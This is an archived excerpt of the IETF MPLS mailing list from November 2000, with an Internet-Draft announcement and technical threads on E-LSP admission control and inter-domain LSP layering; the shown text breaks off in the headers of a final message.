GMT Received: from public.szptt.net.cn([202.96.136.225]) by public.szptt.net.cn(JetMail 2.5.3.0) with SMTP id jmf3a2225b1; Mon, 27 Nov 2000 05:36:19 -0000 Received: from loki.ietf.org([132.151.1.177]) by public.szptt.net.cn(JetMail 2.5.3.0) with SMTP id jm1d3a1f9320; Sat, 25 Nov 2000 03:49:50 -0000 Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id VAA14002 for ietf-123-outbound.01@ietf.org; Fri, 24 Nov 2000 21:45:00 -0500 (EST) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id SAA12258 for ; Fri, 24 Nov 2000 18:11:53 -0500 (EST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21741; Fri, 24 Nov 2000 18:11:51 -0500 (EST) Message-Id: <200011242311.SAA21741@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-diff-te-ext-00.txt Date: Fri, 24 Nov 2000 18:11:50 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Extensions to RSVP-TE and CR-LDP for support of Diff-Serv-aware MPLS Traffic Engineering Author(s) : F. Le Faucheur et al. Filename : draft-ietf-mpls-diff-te-ext-00.txt Pages : 12 Date : 22-Nov-00 A companion document [DIFF-TE-REQTS] defines the requirements for support of Diff-Serv-aware MPLS Traffic Engineering on a per-Class- Type basis, as discussed in the Traffic Engineering Working Group Framework document [TEWG-FW]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-diff-te-ext-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-diff-te-ext-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-diff-te-ext-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001122150027.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-diff-te-ext-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-diff-te-ext-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001122150027.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Mon Nov 27 03:53:50 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA05942 for ; Mon, 27 Nov 2000 03:53:49 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrcd01099; Mon, 27 Nov 2000 08:51:33 GMT Received: by mail-control.mail.uu.net id QQjrcd17567 for mpls-outgoing; Mon, 27 Nov 2000 08:50:58 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrcd17562 for ; Mon, 27 Nov 2000 08:50:52 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrcd17337 for ; Mon, 27 Nov 2000 08:50:28 GMT Received: from internet-gateway.zurich.ibm.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: internet-gateway-x.zurich.ibm.com [195.212.119.253]) id QQjrcd06617 for ; Mon, 27 Nov 2000 08:50:28 GMT Received: from zurich.ibm.com (internet-gateway.zurich.ibm.com [9.4.3.253]) by internet-gateway.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with ESMTP id JAA16810; Mon, 27 Nov 2000 09:48:44 +0100 Message-ID: <3A221FEB.DFFD5734@zurich.ibm.com> Date: Mon, 27 Nov 2000 09:48:43 +0100 From: "Daniel N. Bauer" Organization: IBM Research X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-12 i686) X-Accept-Language: de, en MIME-Version: 1.0 To: brunner@ccrle.nec.de, Shahram Davari CC: Simeone Mastropietro , mpls@UU.NET Subject: Re: E-LSP or L-LSP References: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A71@BBY1EXM01> <3A1E4112.8BDD3DBC@ccrle.nec.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Shahram, Marcus, What about the following thought: For an E-LSP, the aggregate bandwidth is known. This aggregate bandwidth corresponds to the sum of bandwidths that are requested for each PHB class that are carried inside the E-LSP. In case that the distribution of the PHB classes is known, then admission control could be carried out. In networks where resources are pre-allocated per PHB class and where this is done consistently on all LSR, then the distribution of the pre-allocated resources can be used to carry out admission control per E-LSP. For example, consider the following distribution: EF gets 5%, AF1.x gets 10%, AF2.x gets 20%, AF3.x gets 20%, AF4.x gets 20%; meaning that on a 100Mbit/s link, EF could reserve up to 5 Mbit/s, AF1.x up to 10Mbit/s, etc. etc. If now an E-LSP requests 7 Mbit/s and this E-LSP carries EF, AF1.x and AF3.x traffic, then the 7 Mbit/s could be split up and assigned to the classes as follows: EF - 1 Mbit/s AF1.x - 2 Mbit/s AF3.x - 4 Mbit/s according to the 'weights' of the resource distribution. Then, admission control for each class could be done seperately. The E-LSP could be admitted if all of the admission control checks succeed. Does this sound reasonable? Of course, the whole scheme does not work if the pre-allocated resource distribution is not consistent amont all LSR routers. Best regards, -Daniel Marcus Brunner wrote: > > Shahram, > > In many scenarios, the admission control for a PBH scheduling classes is > already fuzzy, which means on a statistical level, you will run into > trouble if you want to do admission control for aggregates of different > PHB classes. > > Marcus > > Shahram Davari wrote: > > > > Hi Daniel, > > > > You can do admission control for E-LSP too. But the admission control is done for the aggregate of all supported PHBs in that LSP. > > > > Regards, > > -Shahram From owner-mpls@UU.NET Mon Nov 27 04:43:34 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA25958 for ; Mon, 27 Nov 2000 04:43:33 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrcg08060; Mon, 27 Nov 2000 09:41:15 GMT Received: by mail-control.mail.uu.net id QQjrcg02241 for mpls-outgoing; Mon, 27 Nov 2000 09:40:51 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrcg02236 for ; Mon, 27 Nov 2000 09:40:41 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrcg11291 for ; Mon, 27 Nov 2000 09:40:17 GMT Received: from radmail.rad.co.il by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: radmail.rad.co.il [207.232.32.10]) id QQjrcg06613 for ; Mon, 27 Nov 2000 09:40:13 GMT Received: from vine ([192.168.254.41]) by radmail.rad.co.il (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35) with SMTP id il; Mon, 27 Nov 2000 10:42:25 +0200 From: "Sasha Vainshtein" To: "Daniel N. Bauer" Cc: "mpls@UU. NET" Subject: RE: E-LSP or L-LSP Date: Mon, 27 Nov 2000 11:41:35 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <3A221FEB.DFFD5734@zurich.ibm.com> Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit ______________________________________________ With best regards, Sasha Vainshtein mailto: sasha@iprad.co.il phone: +972-3-7659993 (office) fax: +972-3-6487779 (office) >>-----Original Message----- >>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of >>Daniel N. Bauer >>Sent: Monday, November 27, 2000 10:49 AM >>To: brunner@ccrle.nec.de; Shahram Davari >>Cc: Simeone Mastropietro; mpls@UU.NET >>Subject: Re: E-LSP or L-LSP >> >> >>Shahram, Marcus, >> >>What about the following thought: >> >>For an E-LSP, the aggregate bandwidth is known. This aggregate bandwidth >>corresponds to the sum of bandwidths that are requested for each PHB class >>that are carried inside the E-LSP. In case that the distribution of the >>PHB classes is known, then admission control could be carried out. >>In networks where resources are pre-allocated per PHB class >>and where this is done consistently on all LSR, then the distribution >>of the pre-allocated resources can be used to carry out admission control >>per E-LSP. >> >>For example, consider the following distribution: >>EF gets 5%, AF1.x gets 10%, AF2.x gets 20%, AF3.x gets 20%, AF4.x >>gets 20%; >>meaning that on a 100Mbit/s link, EF could reserve up to 5 >>Mbit/s, AF1.x up >>to 10Mbit/s, etc. etc. >> >>If now an E-LSP requests 7 Mbit/s and this E-LSP carries EF, >>AF1.x and AF3.x >>traffic, then the 7 Mbit/s could be split up and assigned to the classes >>as follows: >>EF - 1 Mbit/s >>AF1.x - 2 Mbit/s >>AF3.x - 4 Mbit/s >>according to the 'weights' of the resource distribution. >>Then, admission control for each class could be done seperately. The E-LSP >>could be admitted if all of the admission control checks succeed. >> >>Does this sound reasonable? Sorry, to me it does not - please consider the case when you do not need any more LSPs carrying EF traffic in this LSR. >> >>Of course, the whole scheme does not work if the pre-allocated >>resource distribution >>is not consistent amont all LSR routers. >> >>Best regards, >> >>-Daniel >> >> >> >>Marcus Brunner wrote: >>> >>> Shahram, >>> >>> In many scenarios, the admission control for a PBH scheduling classes is >>> already fuzzy, which means on a statistical level, you will run into >>> trouble if you want to do admission control for aggregates of different >>> PHB classes. >>> >>> Marcus >>> >>> Shahram Davari wrote: >>> > >>> > Hi Daniel, >>> > >>> > You can do admission control for E-LSP too. But the admission >>control is done for the aggregate of all supported PHBs in that LSP. >>> > >>> > Regards, >>> > -Shahram >> From owner-mpls@UU.NET Mon Nov 27 05:02:24 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA01993 for ; Mon, 27 Nov 2000 05:02:24 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrci09793; Mon, 27 Nov 2000 10:00:08 GMT Received: by mail-control.mail.uu.net id QQjrch03517 for mpls-outgoing; Mon, 27 Nov 2000 09:59:50 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrch03511 for ; Mon, 27 Nov 2000 09:59:42 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrch21217 for ; Mon, 27 Nov 2000 09:58:42 GMT From: neil.2.harrison@bt.com Received: from gollum.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gollum.axion.bt.co.uk [132.146.17.41]) id QQjrch06830 for ; Mon, 27 Nov 2000 09:58:41 GMT Received: from cirwm3nt01.nor.bt.com by gollum (local) with ESMTP; Mon, 27 Nov 2000 09:58:52 +0000 Received: by cirwm3nt01.nor.bt.com with Internet Mail Service (5.5.2652.35) id ; Mon, 27 Nov 2000 09:57:25 -0000 Message-ID: To: iokumus@mailbox.syr.edu, mpls@UU.NET Cc: andy.bd.reid@bt.com, mike.sexton@alcatel.co.uk Subject: RE: interdomain LSP setup Date: Mon, 27 Nov 2000 09:57:15 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Taner....you are referring to the architectural concept of 'layered networks', which is one facet of the larger discipline of functional modelling of networks. That is, a link connection of a client trail (which is 1 hop in the client trail) = a server layer trail. LSPs create layered networks (of theoretically arbitrary nested depth), and it is something the IETF are going to have to get to grips with if MPLS is going to progress beyond an intra-domain 'IP accessory' and have any properly engineered future. This does not seem well understood by many it seems, and it has some very important consequences that cannot be ignored....especially wrt the functionality that must be applied at trail termination points and the server->client adaptation mappings. Getting to grips with these concepts is critical as one moves the focus from intra-domain to inter-domain. You may have seen some mails from me in the past that gave some warnings on the need for more architectural rigour in this area....such as: - since client layer links = server layer trail terminations, addressing across nested layer networks cannot be congruent (this is an important issue for the Optical Transport Network and its many clients....here the concept is generalised MPLS); - PHP......makes the trail termination point of an LSP ill-defined for server->client functional handling, eg this has several OAM consequences; - EXP codepoints......if one is carrying a higher layer LSP between 2 private MPLS networks say and using one or more public MPLS networks for transit (ie on lower layer LSPs) than one cannot assume some consistent EXP relationships across all the layer networks; In particular, one must have the ability to convey the private domain's client LSP EXP codepoints transparently and independently of any use of EXP codepoints in lower layer server LSPs; - TTL....similar to above, and again TTL is only relevant to layer it is generated in. In particular one should never guess a latent number of server layer hops (for example, one consequence is that on server layer LSP restoration the number of server layer hops will generally change, and this should be of no consequence to the client layer LSP....since from its perspective, its still just 1 client layer hop, ie a link connection). For further information see ITU Rec G.805. There are also some good text references on functional modelling, in particular this one that was co-authored by a BT colleague of mine Andy Reid and Mike Sexton (of Alcatel): Broadband Networking, Artech House; ISBN: 0890065780. Until we all accept and get a better understanding of the architectural nature of layered networks, MPLS will flounder as soon as its moves its focus to inter-domain....and without such a move it offers very little real benefit since it becomes architecturally non-scalable. Neil > -----Original Message----- > From: Taner OKUMUS [SMTP:iokumus@mailbox.syr.edu] > Sent: Monday, November 27, 2000 3:33 AM > To: mpls > Subject: interdomain LSP setup > > I have a general question. > I understand that LSP setup in an autonomous domain is well-defined. Owner > of the domain can setup end-to-end ( ingress to egress) LSPs inside the > domain. > How does interdomain transfers handled? Suppose I want to setup an LSP > passing through 2 different ASs and ends up in some subnets in the second > domain. Each domain uses LDP or RSVP to distribute the label between > ingress > and egress of that domain. Then each domain can setup LSPs in their > domain. > What happens between the egress of the first domain and the ingress of the > second domain? To put inanother way, does LSPs end-to-end in an AS or are > they end-to-end in the system ( meaning from one ingress of a domain to > egress of another domain) ? > > > Taner From owner-mpls@UU.NET Mon Nov 27 05:07:33 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA03628 for ; Mon, 27 Nov 2000 05:07:33 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrci16717; Mon, 27 Nov 2000 10:05:17 GMT Received: by mail-control.mail.uu.net id QQjrci15365 for mpls-outgoing; Mon, 27 Nov 2000 10:04:51 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrci15356 for ; Mon, 27 Nov 2000 10:04:48 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrci09994 for ; Mon, 27 Nov 2000 10:04:13 GMT Received: from internet-gateway.zurich.ibm.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: internet-gateway-x.zurich.ibm.com [195.212.119.253]) id QQjrci08790 for ; Mon, 27 Nov 2000 10:04:13 GMT Received: from zurich.ibm.com (internet-gateway.zurich.ibm.com [9.4.3.253]) by internet-gateway.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with ESMTP id LAA86504; Mon, 27 Nov 2000 11:03:46 +0100 Message-ID: <3A223181.29EA560B@zurich.ibm.com> Date: Mon, 27 Nov 2000 11:03:45 +0100 From: "Daniel N. Bauer" Organization: IBM Research X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-12 i686) X-Accept-Language: de, en MIME-Version: 1.0 To: Sasha Vainshtein CC: "mpls@UU. NET" Subject: Re: E-LSP or L-LSP References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit > >>For an E-LSP, the aggregate bandwidth is known. This aggregate bandwidth > >>corresponds to the sum of bandwidths that are requested for each PHB class > >>that are carried inside the E-LSP. In case that the distribution of the > >>PHB classes is known, then admission control could be carried out. > >>In networks where resources are pre-allocated per PHB class > >>and where this is done consistently on all LSR, then the distribution > >>of the pre-allocated resources can be used to carry out admission control > >>per E-LSP. > >> > >>For example, consider the following distribution: > >>EF gets 5%, AF1.x gets 10%, AF2.x gets 20%, AF3.x gets 20%, AF4.x > >>gets 20%; > >>meaning that on a 100Mbit/s link, EF could reserve up to 5 > >>Mbit/s, AF1.x up > >>to 10Mbit/s, etc. etc. > >> > >>If now an E-LSP requests 7 Mbit/s and this E-LSP carries EF, > >>AF1.x and AF3.x > >>traffic, then the 7 Mbit/s could be split up and assigned to the classes > >>as follows: > >>EF - 1 Mbit/s > >>AF1.x - 2 Mbit/s > >>AF3.x - 4 Mbit/s > >>according to the 'weights' of the resource distribution. > >>Then, admission control for each class could be done seperately. The E-LSP > >>could be admitted if all of the admission control checks succeed. > >> > >>Does this sound reasonable? > Sorry, to me it does not - please consider the case when you do not need any > more LSPs carrying EF traffic in this LSR. I don't understand what you mean here. Maybe you could give an example? Thanks, -Daniel From owner-mpls@UU.NET Mon Nov 27 05:42:40 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA14730 for ; Mon, 27 Nov 2000 05:42:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrck04405; Mon, 27 Nov 2000 10:41:02 GMT Received: by mail-control.mail.uu.net id QQjrck17957 for mpls-outgoing; Mon, 27 Nov 2000 10:40:39 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrck17949 for ; Mon, 27 Nov 2000 10:40:34 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrck26176 for ; Mon, 27 Nov 2000 10:40:17 GMT Received: from radmail.rad.co.il by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: radmail.rad.co.il [207.232.32.10]) id QQjrck03614 for ; Mon, 27 Nov 2000 10:40:14 GMT Received: from vine ([192.168.254.41]) by radmail.rad.co.il (Post.Office MTA v3.5.3 release 223 ID# 0-69802U1300L1200S0V35) with SMTP id il; Mon, 27 Nov 2000 11:42:28 +0200 From: "Sasha Vainshtein" To: "Daniel N. Bauer" Cc: "mpls@UU. NET" Subject: RE: E-LSP or L-LSP Date: Mon, 27 Nov 2000 12:41:38 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <3A223181.29EA560B@zurich.ibm.com> Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit ______________________________________________ With best regards, Sasha Vainshtein mailto: sasha@iprad.co.il phone: +972-3-7659993 (office) fax: +972-3-6487779 (office) >>-----Original Message----- >>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of >>Daniel N. Bauer >>Sent: Monday, November 27, 2000 12:04 PM >>To: Sasha Vainshtein >>Cc: mpls@UU. NET >>Subject: Re: E-LSP or L-LSP >> >> >>> >>For an E-LSP, the aggregate bandwidth is known. This >>aggregate bandwidth >>> >>corresponds to the sum of bandwidths that are requested for >>each PHB class >>> >>that are carried inside the E-LSP. In case that the >>distribution of the >>> >>PHB classes is known, then admission control could be carried out. >>> >>In networks where resources are pre-allocated per PHB class >>> >>and where this is done consistently on all LSR, then the distribution >>> >>of the pre-allocated resources can be used to carry out >>admission control >>> >>per E-LSP. >>> >> >>> >>For example, consider the following distribution: >>> >>EF gets 5%, AF1.x gets 10%, AF2.x gets 20%, AF3.x gets 20%, AF4.x >>> >>gets 20%; >>> >>meaning that on a 100Mbit/s link, EF could reserve up to 5 >>> >>Mbit/s, AF1.x up >>> >>to 10Mbit/s, etc. etc. >>> >> >>> >>If now an E-LSP requests 7 Mbit/s and this E-LSP carries EF, >>> >>AF1.x and AF3.x >>> >>traffic, then the 7 Mbit/s could be split up and assigned to >>the classes >>> >>as follows: >>> >>EF - 1 Mbit/s >>> >>AF1.x - 2 Mbit/s >>> >>AF3.x - 4 Mbit/s >>> >>according to the 'weights' of the resource distribution. >>> >>Then, admission control for each class could be done >>seperately. The E-LSP >>> >>could be admitted if all of the admission control checks succeed. >>> >> >>> >>Does this sound reasonable? >> >>> Sorry, to me it does not - please consider the case when you do >>not need any >>> more LSPs carrying EF traffic in this LSR. >> >>I don't understand what you mean here. Maybe you could give an example? The examples I have in mind are based on the naive understanding of the "weighted" per E-LSP admission rules. Example 1: Bandwidth on the link is pre-allocated like you have said (i.e.,5 MBit/s for EF, 10 Mbit/s for AF1 etc.). However, "all" the 5 Mbit/s of the EF traffic in this node as well as, say 1 Mbit/s of AF1 and 1 Mbit/s of AF3 go to the same destination. Such a flow could be satisfied by a 7 Mbit/s E-LSP with appropriate admission rules - but these rules cannot, to the best of my understanding, be derived from the overall distribution of capacity of the egress link. Example 2: Two 25 Mbit/s E-LSPs are requested, one carrying EF and AF3, the other one carrying EF and AF4. According to the "relative weights" logic, up to 5 Mbit/s would be admitted to each of the two E-LSPs, with the total exceeding the overall 5% limit on EF. Hopefully these examples will be helpful. >> >>Thanks, >> >>-Daniel >> From owner-mpls@UU.NET Mon Nov 27 08:50:44 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA12777 for ; Mon, 27 Nov 2000 08:50:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrcx21434; Mon, 27 Nov 2000 13:49:00 GMT Received: by mail-control.mail.uu.net id QQjrcx06991 for mpls-outgoing; Mon, 27 Nov 2000 13:48:20 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrcx06957 for ; Mon, 27 Nov 2000 13:48:00 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrcx00847 for ; Mon, 27 Nov 2000 13:47:44 GMT Received: from internet-gateway.zurich.ibm.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: internet-gateway-x.zurich.ibm.com [195.212.119.253]) id QQjrcx16115 for ; Mon, 27 Nov 2000 13:47:43 GMT Received: from zurich.ibm.com (internet-gateway.zurich.ibm.com [9.4.3.253]) by internet-gateway.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with ESMTP id OAA26144; Mon, 27 Nov 2000 14:47:06 +0100 Message-ID: <3A2265D8.9559885@zurich.ibm.com> Date: Mon, 27 Nov 2000 14:47:04 +0100 From: "Daniel N. Bauer" Organization: IBM Research X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-12 i686) X-Accept-Language: de, en MIME-Version: 1.0 To: Sasha Vainshtein CC: "mpls@UU. NET" Subject: Re: E-LSP or L-LSP References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit > The examples I have in mind are based on the naive understanding of the > "weighted" per E-LSP admission rules. > Example 1: Bandwidth on the link is pre-allocated like you have said (i.e.,5 > MBit/s for EF, 10 Mbit/s for AF1 etc.). However, "all" the 5 Mbit/s of the > EF traffic in this node as well as, say 1 Mbit/s of AF1 and 1 Mbit/s of AF3 > go to the same destination. Such a flow could be satisfied by a 7 Mbit/s > E-LSP with appropriate admission rules - but these rules cannot, to the best > of my understanding, be derived from the overall distribution of capacity > of the egress link. Of course, there are other (and maybe better) ways to conduct admission control for E-LSPs. If you have another solution that works for both L-LSPs and E-LSPs, then I'm really eager to know how it works. However, I still think that my proposal makes some sense. The distribution of pre-allocated resources reflects the distribution of the total expected traffic. It is therefore also reasonable to request that the distribution of traffic inside an E-LSP corresponds to this global distribution. The system would then work as follows: 1.) For each PSC, the amount of reservable bandwidth is maintained. 2.) If an L-LSP is admitted, only a single PSC applies and admission control is easy. There must be some sort of policing at the edge of the network, such that no more than the requested bandwidth is used. This might means a re-mapping of the DiffServ Code Point. 3.) If an E-LSP is admitted, multiple PSC apply. Admission control uses the global distribution, as described earlier, to compute the requested bandwidth per OA and thus can check whether enough bandwidth for the corresponding PSC is available. Also, there must be some sort of policing at the edge of the network. In fact, the same global distribution is used to break down the total reserved amount of bandwidth. Policing of E-LSP traffic is then be carried out per OA. To come back to your example: Given the global distribution and the 7 Mbit/s of total bandwidth for that E-LSP, then policing will kick in. The distribution: EF - 5, AF1 - 1, AF3 -1 would not be possible. If such a distribution is required, then three L-LSPs need to be set up. > Example 2: Two 25 Mbit/s E-LSPs are requested, one carrying EF and AF3, the > other one carrying EF and AF4. According to the "relative weights" logic, up > to 5 Mbit/s would be admitted to each of the two E-LSPs, with the total > exceeding the overall 5% limit on EF. Since admission control does not work in parallel, the following would happen. Global distribution: EF gets 5%, AF1.x gets 10%, AF2.x gets 20%, AF3.x gets 20%, AF4.x gets 20%. Total link capacity: 100Mbit/s. Reservable bw for EF: 5 Mbit/s. First E-LSP: 25 Mbit/s -> 5 Mbit/s for EF, 20 Mbit/s for AF3. This can be admitted. Now, there is no reservable bandwidth for EF left. Second E-LSP: 25 Mbit/s -> 5 Mbit/s for EF,20 Mbit/s for AF4. Since no bw is left for EF, the second E-LSP will not get admitted. Best regards, -Daniel From owner-mpls@UU.NET Mon Nov 27 09:20:28 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA21104 for ; Mon, 27 Nov 2000 09:20:28 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrcz03651; Mon, 27 Nov 2000 14:18:38 GMT Received: by mail-control.mail.uu.net id QQjrcz21799 for mpls-outgoing; Mon, 27 Nov 2000 14:18:00 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrcz21788 for ; Mon, 27 Nov 2000 14:17:46 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrcz24945 for ; Mon, 27 Nov 2000 14:16:25 GMT Received: from mail-blue.research.att.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-blue.research.att.com [135.207.30.102]) id QQjrcz03469 for ; Mon, 27 Nov 2000 14:16:24 GMT Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-blue.research.att.com (Postfix) with ESMTP id 97C6E4CE2C; Mon, 27 Nov 2000 09:16:24 -0500 (EST) Received: from research.att.com (dhcp-new47.research.att.com [135.207.19.47]) by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id JAA09567; Mon, 27 Nov 2000 09:16:23 -0500 (EST) Message-ID: <3A226CEB.1B6B1750@research.att.com> Date: Mon, 27 Nov 2000 09:17:15 -0500 From: Guangzhi Li X-Mailer: Mozilla 4.7 [en] (WinNT; U) 